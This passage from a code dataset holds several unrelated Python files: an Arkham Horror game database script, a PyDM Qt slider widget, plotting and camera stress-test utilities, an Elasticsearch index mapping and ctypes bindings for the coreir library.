int,\r\ncombat_dmg int,\r\ntoughness int\r\nendless int,\r\nundead int,\r\nambush int,\r\nmag_res int,\r\nphys_res int,\r\nmag_imm int,\r\nphys_imm int,\r\nweapon_imm int,\r\noverwhelming int,\r\nnightmarish int,\r\nelusive int\r\n)''')\r\n\r\nc.execute(\"INSERT INTO monsters VALUES (1,'Byakhee','Blue','circle',-2,-1,0,1,2,1,0,0,0,0,0,0,0,0,0,0)\")\r\nc.execute(\"INSERT INTO monsters VALUES (2,'Zombie','Black','moon', 1,-1,-1,1,2,1,0,1,0,0,0,0,0,0,0,0)\")\r\nc.execute(\"INSERT INTO monsters VALUES (3,'Ghoul','Black','hexagon',-3,0,-1,1,1,1,0,0,1,0,0,0,0,0,0,0)\")\r\nc.execute(\"INSERT INTO monsters VALUES (4,'Default','Black','moon',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)\")\r\ncon.commit()\r\n\r\n\r\n\r\n######## INCOMPLETE #######\r\n######## INCOMPLETE #######\r\n#Impletment:items, abilities,#\r\n######## INCOMPLETE #######\r\n######## INCOMPLETE #######\r\n\r\nc.execute('''CREATE TABLE characters\r\n(id int PRIMARY KEY,\r\nname text,\r\ntitle text,\r\nhome text,\r\nmoney int,\r\nclue_tokens int,\r\nfocus int,\r\nmax_speed int,\r\nmax_sneak int,\r\nmax_fight int,\r\nmax_will int,\r\nmax_lore int,\r\nmax_luck int,\r\nmax_sanity int,\r\nmax_stamina int\r\n)''')\r\n\r\n\r\nc.execute(\"INSERT INTO characters VALUES (1, 'Carolyn Fern', 'the Psychologist', 'Arkham Asylum',7,1,2,3,3,4,4,5,5,6,4)\")\r\nc.execute('INSERT INTO characters VALUES (2, \"Michael McGlen\", \"the Gangster\", \"Ma\\'s Boarding House\",8,0,1,5,4,6,4,3,3,3,7)')\r\nc.execute(\"INSERT INTO characters VALUES (3, 'Sister Mary', 'the Nun', 'South Church',0,0,1,4,4,3,4,4,6,7,3)\")\r\n\r\ncon.commit()\r\n\r\n\r\nc.execute('''CREATE TABLE items\r\n(id int PRIMARY KEY,\r\nname text,\r\ntype text,\r\nis_weapon int,\r\ncombat_bonus int,\r\nis_tome int,\r\ndiscard_on_use int\r\n)''')\r\n\r\n\r\nc.execute(\"INSERT INTO items VALUES (1, 'Holy Water', 'unique', 1,6,0,1)\")\r\nc.execute('INSERT INTO items VALUES (2, \"Dynamite\", \"common\", 1,8,0,1)')\r\nc.execute(\"INSERT INTO items VALUES (3, 'Tommy Gun', 'common', 1,6,0,0)\")\r\n\r\ncon.commit()\r\n\r\n\r\ncon.close()\r\n\r\n\r\n\r\n\r\n#Defition of monster class that accesses arkham.db to populate monster stats.\r\nclass monster:\r\n def __init__(self, name='NULL'):\r\n conn = sqlite3.connect('arkham.db')\r\n cursor = conn.cursor()\r\n if name == 'NULL':\r\n cursor.execute('SELECT MAX(id) FROM monsters')\r\n mons = (random.randint(1,cursor.fetchone()[0]),)\r\n cursor.execute('SELECT * FROM monsters WHERE id = ?', mons)\r\n else:\r\n t =(name,)\r\n mons = cursor.execute('Select * FROM monsters WHERE name = ?', t)\r\n spawn = cursor.fetchone()\r\n conn.close()\r\n self.name = spawn[1]\r\n self.color = spawn[2]\r\n self.symbol = spawn[3]\r\n self.sneak_mod = spawn[4]\r\n self.horror_mod = spawn[5]\r\n self.combat_mod = spawn[6]\r\n self.horror_dmg = spawn[7]\r\n self.combat_dmg = spawn[8]\r\n self.toughness = spawn[9]\r\n \r\n \r\n# use monster() to generate a random monster \r\n#use monster('name') to generate a specific mosnter\r\n#Example:\r\nzombie = monster('Zombie')\r\ndefault = monster('Default')\r\nprint(zombie.name)\r\nprint(\"Zombie's have a toughness of %i\" % zombie.toughness)\r\n\r\n\r\n\r\n\r\nclass character:\r\n def __init__(self, name='NULL'):\r\n conn = sqlite3.connect('arkham.db')\r\n cursor = conn.cursor()\r\n if name == 'NULL':\r\n cursor.execute('SELECT MAX(id) FROM characters')\r\n mons = (random.randint(1,cursor.fetchone()[0]),)\r\n cursor.execute('SELECT * FROM characters WHERE id = ?', mons)\r\n else:\r\n t =(name,)\r\n mons = cursor.execute('Select * FROM characters WHERE name = ?', t)\r\n spawn = cursor.fetchone()\r\n conn.close()\r\n self.name = spawn[1]\r\n self.title = spawn[2]\r\n self.home = spawn[3]\r\n self.money = spawn[4]\r\n self.clue_tokens = spawn[5]\r\n self.focus = spawn[6]\r\n self.max_speed = spawn[7]\r\n self.max_sneak = spawn[8]\r\n self.max_fight = spawn[9]\r\n self.max_will = spawn[10]\r\n self.max_lore = spawn[7]\r\n self.max_luck = spawn[8]\r\n self.max_sanity = spawn[9]\r\n self.max_stamina = spawn[10]\r\n self.health = self.max_stamina\r\n self.sanity = self.max_sanity\r\n self.blessed = False\r\n self.cursed = False\r\n \r\n #Place holding values for testing/troubleshooting\r\n self.sneak = 2\r\n self.fight = 4\r\n self.will = 3\r\n \r\n \r\n \r\n #Die roll function. Takes argument 'dice', which is the number of dice to be rolled. \r\n #Returns integer number of successes\r\n def roll_dice(self, dice):\r\n successes = 0\r\n check = 5\r\n if (self.blessed):\r\n check = 4\r\n if (self.cursed):\r\n check = 6\r\n for i in range(dice):\r\n if (random.randrange(1,7,1) >= check):\r\n successes += 1\r\n return(successes)\r\n \r\n #Assorted checks. Uses the roll_dice function to determine if check was passed. Returns boolean\r\n # In general, the monster can be passed optionally, allowing the checks to be made outside of combat.\r\n #If not monster is passed, the default is a monster with 0 for all attributes\r\n \r\n def sneak_check(self, monster=default):\r\n rolls = self.sneak + monster.sneak_mod\r\n sucs = self.roll_dice(rolls)\r\n if (sucs >= 1):\r\n return(True)\r\n else:\r\n return(False)\r\n \r\n def will_check(self, monster=default):\r\n rolls = self.will + monster.horror_mod\r\n sucs = self.roll_dice(rolls)\r\n if (sucs >= 1):\r\n return(True)\r\n else:\r\n return(False)\r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n\r\n\r\nplayer1 = character('Sister Mary')\r\nprint(player1.name)\r\nprint(player1.title)\r\n\r\n\r\nrando_character = character()\r\nprint(rando_character.name)\r\nprint(rando_character.title)\r\nprint(rando_character.home)\r\n\r\n\r\n\r\nclass item:\r\n def __init__(self, name='NULL'):\r\n conn = sqlite3.connect('arkham.db')\r\n cursor = conn.cursor()\r\n if name == 'NULL':\r\n cursor.execute('SELECT MAX(id) FROM items')\r\n mons = (random.randint(1,cursor.fetchone()[0]),)\r\n cursor.execute('SELECT * FROM items WHERE id = ?', mons)\r\n else:\r\n t =(name,)\r\n mons = cursor.execute('Select * FROM items WHERE name = ?', t)\r\n spawn = cursor.fetchone()\r\n conn.close()\r\n self.name =spawn[1]\r\n self.type =spawn[2]\r\n self.is_weapon = spawn[3]\r\n \r\n \r\n \r\n \r\nitem1 = item()\r\nprint(item1.name)\r\nprint(item1.type)\r\n\r\nprint(item1.is_weapon)\r\n\r\n\r\nclass inventory:\r\n def __init__(self, character):\r\n self.character = character.name\r\n self.contents = []\r\n self.size = len(self.contents)\r\n \r\n def add_item(self, item):\r\n self.contents.append(item.name)\r\n \r\n def display(self):\r\n if self.contents == []:\r\n print(self.character, \" has no items.\")\r\n for i in self.contents:\r\n print(i)\r\n \r\n def remove_item(self, item):\r\n self.contents.remove(item.name)\r\n \r\n \r\n \r\n######### Not sure how to handle multiple instances of item yet\r\n\"\"\"\r\ninventory1 = inventory(player1)\r\n \r\ninventory1.display()\r\n\r\ninventory1.add_item(item1)\r\ninventory1.add_item(item1)\r\ninventory1.add_item(item1)\r\ninventory1.remove_item(item1)\r\n\r\ninventory1.display()\r\n\"\"\"\r\n\r\ncombat.combat_prompt(player1, zombie)\r\n \r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"arkham_databse.py","file_name":"arkham_databse.py","file_ext":"py","file_size_in_byte":8745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"113736760","text":"from ..PyQt.QtGui import QFrame, QLabel, QSlider, QVBoxLayout, QHBoxLayout, QSizePolicy, QWidget\nfrom ..PyQt.QtCore import Qt, pyqtSignal, pyqtSlot, pyqtProperty, QState, QStateMachine, QPropertyAnimation\nfrom .channel import PyDMChannel\nimport numpy as np\n\nclass PyDMSlider(QFrame):\n actionTriggered = pyqtSignal(int)\n rangeChanged = pyqtSignal(float, float)\n sliderMoved = pyqtSignal(float)\n sliderPressed = pyqtSignal()\n sliderReleased = pyqtSignal()\n valueChanged = pyqtSignal(float)\n \n ALARM_NONE = 0\n ALARM_MINOR = 1\n ALARM_MAJOR = 2\n ALARM_INVALID = 3\n ALARM_DISCONNECTED = 4\n alarm_style_sheet_map = {\n ALARM_NONE: \"QLabel {color: black;}\",\n ALARM_MINOR: \"QLabel {color: yellow;}\",\n ALARM_MAJOR: \"QLabel {color: red;}\",\n ALARM_INVALID: \"QLabel {color: purple;}\",\n ALARM_DISCONNECTED: \"QLabel {color: white;}\"\n }\n \n def __init__(self, parent=None):\n super(PyDMSlider, self).__init__(parent=parent)\n #Internal values for properties\n self._connected = False\n self._write_access = False\n self.set_enable_state()\n self._channels = None\n self._channel = \"\"\n self._value = None\n self._user_defined_prec = False\n self._prec = 5\n self._format_string = \"{:.\" + str(self._prec) + \"f}\"\n self._show_limit_labels = True\n self._show_value_label = True\n self._user_defined_limits = False\n self._needs_limit_info = True\n self._minimum = None\n self._maximum = None\n self._user_minimum = -10.0\n self._user_maximum = 10.0\n self._num_steps = 101\n self._orientation = Qt.Horizontal\n # Set up all the internal widgets that make up a PyDMSlider.\n # We'll add all these things to layouts when we call setup_widgets_for_orientation\n label_size_policy = QSizePolicy(QSizePolicy.Maximum, QSizePolicy.Fixed)\n self.low_lim_label = QLabel(self)\n self.low_lim_label.setSizePolicy(label_size_policy)\n self.low_lim_label.setAlignment(Qt.AlignLeft|Qt.AlignTrailing|Qt.AlignVCenter)\n self.value_label = QLabel(self)\n self.value_label.setAlignment(Qt.AlignHCenter|Qt.AlignVCenter)\n self.high_lim_label = QLabel(self)\n self.high_lim_label.setSizePolicy(label_size_policy)\n self.high_lim_label.setAlignment(Qt.AlignRight|Qt.AlignTrailing|Qt.AlignVCenter)\n self._slider = QSlider(parent=self)\n self._slider.setOrientation(Qt.Horizontal)\n self._slider.sliderMoved.connect(self.internal_slider_moved)\n self._slider.sliderPressed.connect(self.internal_slider_pressed)\n self._slider.sliderReleased.connect(self.internal_slider_released)\n self._slider.valueChanged.connect(self.internal_slider_value_changed)\n #self.vertical_layout.addWidget(self._slider)\n #Other internal variables and final setup steps\n self._slider_position_to_value_map = None\n self._mute_internal_slider_changes = False\n self.setup_widgets_for_orientation(self._orientation)\n self.reset_slider_limits()\n \n @pyqtProperty(Qt.Orientation)\n def orientation(self):\n return self._orientation\n \n @orientation.setter\n def orientation(self, new_orientation):\n self._orientation = new_orientation\n self.setup_widgets_for_orientation(new_orientation)\n \n def setup_widgets_for_orientation(self, new_orientation):\n layout = None\n if new_orientation == Qt.Horizontal:\n layout = QVBoxLayout()\n layout.setContentsMargins(4,0,4,4)\n label_layout = QHBoxLayout()\n label_layout.addWidget(self.low_lim_label)\n label_layout.addStretch(0)\n label_layout.addWidget(self.value_label)\n label_layout.addStretch(0)\n label_layout.addWidget(self.high_lim_label)\n layout.addLayout(label_layout)\n self._slider.setOrientation(new_orientation)\n layout.addWidget(self._slider)\n elif new_orientation == Qt.Vertical:\n layout = QHBoxLayout()\n layout.setContentsMargins(0,4,4,4)\n label_layout = QVBoxLayout()\n label_layout.addWidget(self.high_lim_label)\n label_layout.addStretch(0)\n label_layout.addWidget(self.value_label)\n label_layout.addStretch(0)\n label_layout.addWidget(self.low_lim_label)\n layout.addLayout(label_layout)\n self._slider.setOrientation(new_orientation)\n layout.addWidget(self._slider)\n if self.layout() is not None:\n # Trick to remove the existing layout by reparenting it in an empty widget.\n QWidget().setLayout(self.layout())\n self.setLayout(layout)\n \n def update_labels(self):\n if self.minimum is None:\n self.low_lim_label.setText(\"\")\n else:\n self.low_lim_label.setText(self._format_string.format(self.minimum))\n if self.maximum is None:\n self.high_lim_label.setText(\"\")\n else:\n self.high_lim_label.setText(self._format_string.format(self.maximum))\n if self.value is None:\n self.value_label.setText(\"\")\n else:\n self.value_label.setText(self._format_string.format(self.value))\n \n def reset_slider_limits(self):\n if self.minimum is None or self.maximum is None:\n self._needs_limit_info = True\n self.set_enable_state()\n return\n self._needs_limit_info = False\n self._slider.setMinimum(0)\n self._slider.setMaximum(self._num_steps-1)\n self._slider.setSingleStep(1)\n self._slider.setPageStep(10)\n self._slider_position_to_value_map = np.linspace(self.minimum, self.maximum, num=self._num_steps)\n self.update_labels()\n self.set_slider_to_closest_value(self.value)\n self.rangeChanged.emit(self.minimum, self.maximum)\n self.set_enable_state()\n \n def find_closest_slider_position_to_value(self, val):\n diff = abs(self._slider_position_to_value_map - float(val))\n return np.argmin(diff)\n \n def set_slider_to_closest_value(self, val):\n if val is None or self._needs_limit_info:\n return\n # When we set the slider to the closest value, it may end up at a slightly\n # different position than val (if val is not in self._slider_position_to_value_map)\n # We don't want that slight difference to get broacast out and put the channel\n # somewhere new. For example, if the slider can only be at 0.4 or 0.5, but a\n # new value comes in of 0.45, its more important to keep the 0.45 than to change\n # it to where the slider gets set. Therefore, we mute the internal slider changes\n # so that its valueChanged signal doesn't cause us to emit a signal to PyDM to change\n # the value of the channel.\n self._mute_internal_slider_changes = True\n self._slider.setValue(self.find_closest_slider_position_to_value(val))\n self._mute_internal_slider_changes = False\n \n @pyqtProperty(float)\n def value(self):\n return self._value\n \n @value.setter\n def value(self, new_val):\n self._value = float(new_val)\n self.value_label.setText(self._format_string.format(self._value))\n if not self._slider.isSliderDown():\n self.set_slider_to_closest_value(self._value)\n \n @pyqtSlot(int)\n @pyqtSlot(float)\n @pyqtSlot(str)\n def receiveValue(self, val):\n self.value = val\n \n @pyqtSlot(bool)\n def connectionStateChanged(self, connected):\n self._connected = connected\n self.set_enable_state()\n if not self._connected:\n self.alarmSeverityChanged(self.ALARM_DISCONNECTED)\n \n @pyqtSlot(bool)\n def writeAccessChanged(self, write_access):\n self._write_access = write_access\n self.set_enable_state()\n \n @pyqtSlot(int)\n def alarmSeverityChanged(self, new_alarm_severity):\n self.value_label.setStyleSheet(self.alarm_style_sheet_map[new_alarm_severity])\n \n @pyqtSlot(int)\n def precisionChanged(self, new_prec):\n if not self._user_defined_prec:\n self.precision = new_prec\n \n @pyqtSlot(float)\n def lowerCtrlLimitChanged(self, new_lower_limit):\n self._minimum = new_lower_limit\n if not self.userDefinedLimits:\n self.reset_slider_limits()\n \n @pyqtSlot(float)\n def upperCtrlLimitChanged(self, new_upper_limit):\n self._maximum = new_upper_limit\n if not self.userDefinedLimits:\n self.reset_slider_limits()\n \n def set_enable_state(self):\n self.setEnabled(self._write_access and self._connected and not self._needs_limit_info)\n \n @pyqtSlot(int)\n def internal_slider_action_triggered(self, action):\n self.actionTriggered.emit(action)\n \n @pyqtSlot(int)\n def internal_slider_moved(self, val):\n #The user has moved the slider, we need to update our value.\n #Only update the underlying value, not the self.value property,\n #because we don't need to reset the slider position. If we change\n #self.value, we can get into a loop where the position changes, which\n #updates the value, which changes the position again, etc etc.\n self._value = self._slider_position_to_value_map[val]\n self.sliderMoved.emit(self.value)\n \n @pyqtSlot()\n def internal_slider_pressed(self):\n self.sliderPressed.emit()\n \n @pyqtSlot()\n def internal_slider_released(self):\n self.sliderReleased.emit()\n \n @pyqtSlot(int)\n def internal_slider_value_changed(self, val):\n #At this point, our local copy of the value reflects the position of the\n #slider, now all we need to do is emit a signal to PyDM so that the data\n #plugin will send a put to the channel. Don't update self.value or self._value\n #in here, it is pointless at best, and could cause an infinite loop at worst.\n if not self._mute_internal_slider_changes:\n self.valueChanged.emit(self.value)\n \n @pyqtProperty(bool, doc=\n \"\"\"\n showLimitLabels: Whether or not the high and low limits should be displayed on the slider.\n \"\"\"\n )\n def showLimitLabels(self):\n return self._show_limit_labels\n \n @showLimitLabels.setter\n def showLimitLabels(self, checked):\n self._show_limit_labels = checked\n if checked:\n self.low_lim_label.show()\n self.high_lim_label.show()\n else:\n self.low_lim_label.hide()\n self.high_lim_label.hide()\n \n @pyqtProperty(bool, doc=\n \"\"\"\n showValueLabel: Whether or not the current value should be displayed on the slider.\n \"\"\"\n )\n def showValueLabel(self):\n return self._show_value_label\n \n @showValueLabel.setter\n def showValueLabel(self, checked):\n self._show_value_label = checked\n if checked:\n self.value_label.show()\n else:\n self.value_label.hide()\n \n @pyqtProperty(QSlider.TickPosition, doc=\n \"\"\"\n Where to draw tick marks for the slider.\n \"\"\"\n )\n def tickPosition(self):\n return self._slider.tickPosition()\n \n @tickPosition.setter\n def tickPosition(self, position):\n self._slider.setTickPosition(position)\n \n @pyqtProperty(bool)\n def userDefinedLimits(self):\n return self._user_defined_limits\n \n @userDefinedLimits.setter\n def userDefinedLimits(self, user_defined_limits):\n self._user_defined_limits = user_defined_limits\n self.reset_slider_limits()\n \n @pyqtProperty(float)\n def userMinimum(self):\n return self._user_minimum\n \n @userMinimum.setter\n def userMinimum(self, new_min):\n self._user_minimum = float(new_min)\n if self.userDefinedLimits:\n self.reset_slider_limits()\n \n @pyqtProperty(float)\n def userMaximum(self):\n return self._user_maximum\n \n @userMaximum.setter\n def userMaximum(self, new_max):\n self._user_maximum = float(new_max)\n if self.userDefinedLimits:\n self.reset_slider_limits()\n \n @property\n def minimum(self):\n if self.userDefinedLimits:\n return self._user_minimum\n return self._minimum\n \n @property\n def maximum(self):\n if self.userDefinedLimits:\n return self._user_maximum\n return self._maximum\n \n @pyqtProperty(int)\n def num_steps(self):\n return self._num_steps\n \n @num_steps.setter\n def num_steps(self, new_steps):\n self._num_steps = int(new_steps)\n self.reset_slider_limits()\n \n @pyqtProperty(bool)\n def userDefinedPrecision(self):\n return self._user_defined_prec\n \n @userDefinedPrecision.setter\n def userDefinedPrecision(self, user_defined_prec):\n self._user_defined_prec = user_defined_prec\n \n @pyqtProperty(int)\n def precision(self):\n return self._prec\n \n @precision.setter\n def precision(self, new_prec):\n self._prec = new_prec\n self._format_string = \"{:.\" + str(self._prec) + \"f}\"\n self.update_labels()\n \n def getChannel(self):\n if self._channel is None:\n return \"\"\n return str(self._channel)\n \n def setChannel(self, value):\n if self._channel != value:\n self._channel = str(value)\n\n def resetChannel(self):\n if self._channel is not None:\n self._channel = None\n channel = pyqtProperty(str, getChannel, setChannel, resetChannel)\n\n def channels(self):\n if self._channels is None:\n self._channels = [PyDMChannel(address=self.channel, connection_slot=self.connectionStateChanged, value_slot=self.receiveValue, severity_slot=self.alarmSeverityChanged, write_access_slot=self.writeAccessChanged, value_signal=self.valueChanged, prec_slot=self.precisionChanged, upper_ctrl_limit_slot=self.upperCtrlLimitChanged, lower_ctrl_limit_slot=self.lowerCtrlLimitChanged)]\n return self._channels\n\n\n\n","sub_path":"pydm/widgets/slider.py","file_name":"slider.py","file_ext":"py","file_size_in_byte":14222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"579231132","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 21 13:33:59 2018\n\n@author: Itoh\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef plot_original(x, y, connectivity):\n \"\"\"\n 原形図の描画\n \"\"\"\n for c in connectivity:\n x_p = []\n y_p = []\n for c_n in c:\n x_p.append(x[c_n-1])\n y_p.append(y[c_n-1])\n x_p.append(x[c[0]-1])\n y_p.append(y[c[0]-1])\n plt.plot(x_p, y_p, marker=\"o\", c=\"gray\")\n\ndef plot_deformation(x, y, connectivity, u_d, n=1):\n \"\"\"\n 変形図の描画\n \"\"\"\n x_d = np.copy(x)\n y_d = np.copy(y)\n for i, u in enumerate(u_d):\n x_d[i] += u[0]*n\n y_d[i] += u[1]*n\n \n plot_original(x_d, y_d, connectivity)\n\n","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"384910624","text":"# -*- coding: UTF-8 -*-\n# *****************************************************************************\n# Title:\n# 1.test camera video for front\n# Precondition:\n# 1.NA\n# Procedure:\n# 1.open the camera video for front and take a video for 3 min\n# 2.check the video number\n# Expectation:\n# 1.take video successfully\n# Platform: 7.0\n# Project: Pop5-6 4G\n# author: bei.han\n# *****************************************************************************\nfrom __future__ import division\n\nimport traceback\nimport unittest\nimport os\n\nfrom uiautomator import Device\n\nimport common.common\nfrom common.getconfigs import GetConfigs\nfrom common.camera_stress import Camera\n\nlogger = common.common.createlogger(\"MAIN\")\nlogger.debug(\"Connect device\")\nmdevice = common.common.connect_device(\"MDEVICE\")\nm_com = common.common.Common(mdevice, \"M_COMMON\")\nm_camera = common.camera_stress.Camera(mdevice, \"m_camera\")\nlogger.debug('Get some configrations')\ncfg = GetConfigs('08_take_video_front')\ndicttest_times = cfg.get_test_times()\ntest_times = 0\nsuc_times = 0\nfor TestTime in dicttest_times: test_times += int(dicttest_times[TestTime])\nlogger.info(\"Trace Total Times \" + str(test_times))\n\n\nclass CheckCamera(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n m_com.registerWatchers()\n m_com.clear_recent()\n logger.info(\"------------------Start check camera video for front\")\n\n @classmethod\n def tearDownClass(cls):\n m_com.removeWatchers()\n mdevice.press.back()\n logger.info(\"Success Times: %s.\" % suc_times)\n Rate = suc_times / test_times * 100\n\n if Rate < 100:\n logger.warning(\"-------------------Result Fail Success Rate Is \" + str(Rate) + '%')\n\n else:\n logger.info(\"--------------------Result Pass Success Rate Is \" + str(Rate) + '%')\n\n def testTakeVideoFront(self):\n global suc_times\n times = int(dicttest_times.get('take_video_front'.lower(), 0))\n if times:\n logger.debug(\"start take video back test\")\n if m_camera.stay_in_camera() and m_camera.switch_back_front(\"back\"):\n for loop in range(times):\n try:\n logger.debug('test take video for front' + str(loop + 1) + ' Times')\n if m_camera.take_video():\n suc_times += 1\n logger.debug('Trace success loop ' + str(loop + 1))\n else:\n m_camera.save_fail_img()\n except Exception:\n m_camera.save_fail_img()\n common.common.log_traceback(traceback.format_exc())\n else:\n m_camera.save_fail_img()\n m_com.clear_recent()\n if m_camera.gallery_pic_del():\n logger.debug(\"delete the all pirture successfully\")\n else:\n m_camera.save_fail_img()\n logger.debug(\"----------------------test take video for front completely\")\n\n\nif __name__ == \"__main__\":\n common.common.runTest(CheckCamera, [\n \"testTakeVideoFront\",\n ])\n","sub_path":"Muiautomator/camera_stress/08_take_video_front.py","file_name":"08_take_video_front.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"216931260","text":"#! /usr/bin/env python3\n\nimport characters\nfor module in characters.all_modules():\n if module != __name__:\n exec(\"from characters.\" + module + \" import *\")\n\ndef get_all_subclasses(classname):\n subclasses = []\n for subclass in classname.__subclasses__():\n if subclass().name != classname().name:\n subclasses.append(subclass())\n subclasses += get_all_subclasses(subclass)\n return subclasses\n\ndef all_characters():\n return sorted([BaseCharacter()] + get_all_subclasses(BaseCharacter), key=lambda x: x.name)\n","sub_path":"clip_rpg/characters/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"444990354","text":"# -*-coding:utf-8 -*-\r\nfrom elasticsearch import Elasticsearch\r\n\r\nes = Elasticsearch(\"219.224.134.220:9200\")\r\nindex_name = \"event_geo\"\r\nindex_info={\r\n \"settings\": {\r\n \"index\": {\r\n \"number_of_shards\":3,\r\n \"number_of_replicas\":1,\r\n \"analysis\": {\r\n \"analyzer\": {\r\n \"my_analyzer\": {\r\n \"type\": \"pattern\",\r\n \"pattern\": \"&\"\r\n }\r\n }\r\n }\r\n }\r\n },\r\n \"mappings\": {\r\n \"text\": {\r\n \"properties\": {\r\n \"event_id\": {\r\n \"index\": \"not_analyzed\",\r\n \"type\": \"string\"\r\n },\r\n \"geo\": {\r\n \"analyzer\": \"my_analyzer\",\r\n \"type\": \"string\"\r\n },\r\n \"geo_count\": {\r\n \"index\": \"not_analyzed\",\r\n \"type\": \"long\"\r\n },\r\n \"timestamp\": {\r\n \"index\": \"not_analyzed\",\r\n \"type\": \"long\"\r\n },\r\n \"date\":{\r\n \"format\": \"dateOptionalTime\",\r\n \"type\": \"date\"\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n# es.indices.delete(index = index_name)\r\nexist_indice = es.indices.exists(index = index_name)\r\n\r\nprint(exist_indice)\r\nif not exist_indice:\r\n print(es.indices.create(index = index_name, body=index_info, ignore = 400))\r\n\r\n\r\n# key= group_id+timestamp","sub_path":"bigfive/cron/mappings/event_geo_mapping.py","file_name":"event_geo_mapping.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"329934621","text":"from ctypes import cdll\nimport ctypes as ct\nimport platform\nimport os\nfrom collections import namedtuple\n\ndef load_shared_lib():\n _system = platform.system()\n if _system == \"Linux\":\n shared_lib_ext = \"so\"\n elif _system == \"Darwin\":\n shared_lib_ext = \"dylib\"\n else:\n raise NotImplementedError(_system)\n\n dir_path = os.path.dirname(os.path.realpath(__file__))\n\n return cdll.LoadLibrary('{}/../../../build/coreir.{}'.format(dir_path, shared_lib_ext))\n\nclass COREContext(ct.Structure):\n pass\n\nCOREContext_p = ct.POINTER(COREContext)\n\nclass CORENamespace(ct.Structure):\n pass\n\nCORENamespace_p = ct.POINTER(CORENamespace)\n\nclass COREType(ct.Structure):\n pass\n\nCOREType_p = ct.POINTER(COREType)\n\nclass COREModule(ct.Structure):\n pass\n\nCOREModule_p = ct.POINTER(COREModule)\n\nclass COREModuleDef(ct.Structure):\n pass\n\nCOREModuleDef_p = ct.POINTER(COREModuleDef)\n\nclass COREArg(ct.Structure):\n pass\n\nCOREArg_p = ct.POINTER(COREArg)\n\nclass COREInterface(ct.Structure):\n pass\n\nCOREInterface_p = ct.POINTER(COREInterface)\n\nclass COREWireable(ct.Structure):\n pass\n\nCOREWireable_p = ct.POINTER(COREWireable)\n\nclass COREInstance(COREWireable):\n pass\n\nCOREInstance_p = ct.POINTER(COREInstance)\n\nclass CORESelect(COREWireable):\n pass\n\nCORESelect_p = ct.POINTER(CORESelect)\n\nclass COREConnection(ct.Structure):\n pass\n\nCOREConnection_p = ct.POINTER(COREConnection)\n\nCOREMapKind = ct.c_int\nCOREMapKind_STR2TYPE_ORDEREDMAP = COREMapKind(0)\nCOREMapKind_STR2PARAM_MAP = COREMapKind(1)\nCOREMapKind_STR2ARG_MAP = COREMapKind(2)\n\ncoreir_lib = load_shared_lib()\n\ncoreir_lib.CORENewMap.argtypes = [COREContext_p, ct.c_void_p, ct.c_void_p, ct.c_uint32, COREMapKind]\n\ncoreir_lib.CORENewMap.restype = ct.c_void_p\n\ncoreir_lib.CORENewContext.restype = COREContext_p\n\ncoreir_lib.COREPrintErrors.argtypes = [COREContext_p]\n\ncoreir_lib.COREAny.argtypes = [COREContext_p]\ncoreir_lib.COREAny.restype = COREType_p\n\ncoreir_lib.COREBitIn.argtypes = [COREContext_p]\ncoreir_lib.COREBitIn.restype = COREType_p\n\ncoreir_lib.COREBitOut.argtypes = [COREContext_p]\ncoreir_lib.COREBitOut.restype = COREType_p\n\ncoreir_lib.COREArray.argtypes = [COREContext_p, ct.c_uint32, COREType_p]\ncoreir_lib.COREArray.restype = COREType_p\n\ncoreir_lib.CORERecord.argtypes = [COREContext_p, ct.c_void_p]\ncoreir_lib.CORERecord.restype = COREType_p\n\ncoreir_lib.COREPrintType.argtypes = [COREType_p, ]\n\ncoreir_lib.CORELoadModule.argtypes = [COREContext_p, ct.c_char_p, ct.POINTER(ct.c_bool)]\ncoreir_lib.CORELoadModule.restype = COREModule_p\n\ncoreir_lib.CORESaveModule.argtypes = [COREModule_p, ct.c_char_p, ct.POINTER(ct.c_bool)]\n\ncoreir_lib.COREGetGlobal.argtypes = [COREContext_p]\ncoreir_lib.COREGetGlobal.restype = CORENamespace_p\n\ncoreir_lib.CORENewModule.argtypes = [CORENamespace_p, ct.c_char_p, COREType_p, ct.c_void_p]\ncoreir_lib.CORENewModule.restype = COREModule_p\n\ncoreir_lib.COREModuleAddDef.argtypes = [COREModule_p, COREModuleDef_p]\n\ncoreir_lib.COREPrintModule.argtypes = [COREModule_p]\n\ncoreir_lib.COREModuleNewDef.argtypes = [COREModule_p]\ncoreir_lib.COREModuleNewDef.restype = COREModuleDef_p\n\ncoreir_lib.COREModuleGetDef.argtypes = [COREModule_p]\ncoreir_lib.COREModuleGetDef.restype = COREModuleDef_p\n\ncoreir_lib.COREModuleDefAddModuleInstance.argtypes = [COREModuleDef_p, ct.c_char_p, COREModule_p, ct.c_void_p]\ncoreir_lib.COREModuleDefAddModuleInstance.restype = COREInstance_p\n\ncoreir_lib.COREModuleDefGetInterface.argtypes = [COREModuleDef_p]\ncoreir_lib.COREModuleDefGetInterface.restype = COREInterface_p\n\ncoreir_lib.COREModuleDefGetInstances.argtypes = [COREModuleDef_p, ct.POINTER(ct.c_int)]\ncoreir_lib.COREModuleDefGetInstances.restype = ct.POINTER(COREInstance_p)\n\ncoreir_lib.COREGetInstRefName.argtypes = [COREInstance_p]\ncoreir_lib.COREGetInstRefName.restype = ct.c_char_p\n\ncoreir_lib.COREGetConfigValue.argtypes = [COREInstance_p,ct.c_char_p]\ncoreir_lib.COREGetConfigValue.restype = COREArg_p;\n\ncoreir_lib.COREArg2Str.argtypes = 